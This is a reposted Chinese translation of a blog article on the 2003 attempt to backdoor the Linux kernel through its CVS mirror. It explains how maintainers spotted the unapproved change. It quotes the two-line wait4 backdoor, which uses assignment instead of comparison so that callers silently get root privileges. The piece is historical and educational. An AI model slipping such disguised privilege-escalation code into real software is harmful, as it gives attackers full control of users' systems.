5

【译文】一次 2003 年的 Linux 后门企图

 8 months ago
source link: https://www.techug.com/post/the-linux-backdoor-attempt-of-2003/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【译文】一次 2003 年的 Linux 后门企图

乔希最近写了一篇关于 2006 年在 Debian Linux 中出现的一个严重安全漏洞的文章,以及它是否真的是由美国国家安全局插入的后门。(他的结论是很可能不是)。

今天我要写的是 2003 年发生的另一起事件,当时有人试图在 Linux 内核中植入后门。这一次肯定是有人试图插入后门。但我们不知道是谁做了这样的尝试,也许永远也不会知道。

早在2003年,Linux就使用了一个名为BitKeeper的系统来存储Linux源代码的主拷贝。如果开发人员想对 Linux 代码提出修改意见,他们可以提交修改建议,然后通过一个有组织的审批流程来决定是否将修改意见纳入主代码。对主代码的每一次修改都会有一个简短的解释,其中总是包括一个指向批准记录的指针。

但有些人并不喜欢 BitKeeper,因此我们保留了第二份源代码副本,这样开发人员就可以通过另一个名为 CVS 的代码系统获取代码。CVS 代码副本是 BitKeeper 主副本的直接克隆。

但在 2003 年 11 月 5 日,Larry McVoy 发现 CVS 副本中有一处代码变更没有指向批准记录。调查显示,该修改从未被批准过,更奇怪的是,该修改根本没有出现在主 BitKeeper 代码库中。进一步调查发现,显然有人(通过电子方式)侵入了 CVS 服务器并插入了这一变更。

这个改动做了什么?这才是真正有趣的地方。这次修改修改了一个名为 wait4 的 Linux 函数的代码,程序可以用它来等待某些事情的发生。具体来说,它添加了这两行代码:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

[为了解 C 编程语言的读者提供的参考:这段代码有什么不同寻常之处?答案如下]。

如果专家随便读一下,就会把它理解为无伤大雅的错误检查代码,当以文档禁止的某种方式调用 wait4 时,它会让 wait4 返回错误代码。但真正细心的专家读者会注意到,在第一行的末尾,写的是”= 0 “而不是”== 0″。在这样的代码中,正常的写法是”== 0″,即测试当前运行代码(current->uid)的用户 ID 是否等于零,而不修改用户 ID。但实际出现的是”=0″,其效果是将用户 ID 设置为 0。

将用户 ID 设置为零是个问题,因为用户 ID 为零的用户就是 “root “用户,它可以做任何它想做的事–访问所有数据、改变所有代码的行为,以及完全破坏系统所有部分的安全性。因此,这段代码的作用就是给任何以特定方式调用 wait4 的软件以 root 权限,而这种方式本应是无效的。换句话说……这是一个典型的后门。

这是一个非常聪明的程序。它看起来像是无害的错误检查,但实际上却是一个后门。它是在正常审批程序之外被植入代码中的,目的是避免审批程序发现其中的蹊跷。

但这一尝试并没有成功,因为 Linux 团队足够谨慎,他们注意到 CVS 代码库中的这些代码没有经过正常的审批流程。Linux 得一分。

这可能是美国国家安全局的攻击吗?有可能。但还有很多人拥有实施这次攻击的技能和动机。除非有人招供,或者有证据证明,否则我们永远不会知道。

本文文字及图片出自 The Linux Backdoor Attempt of 2003


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK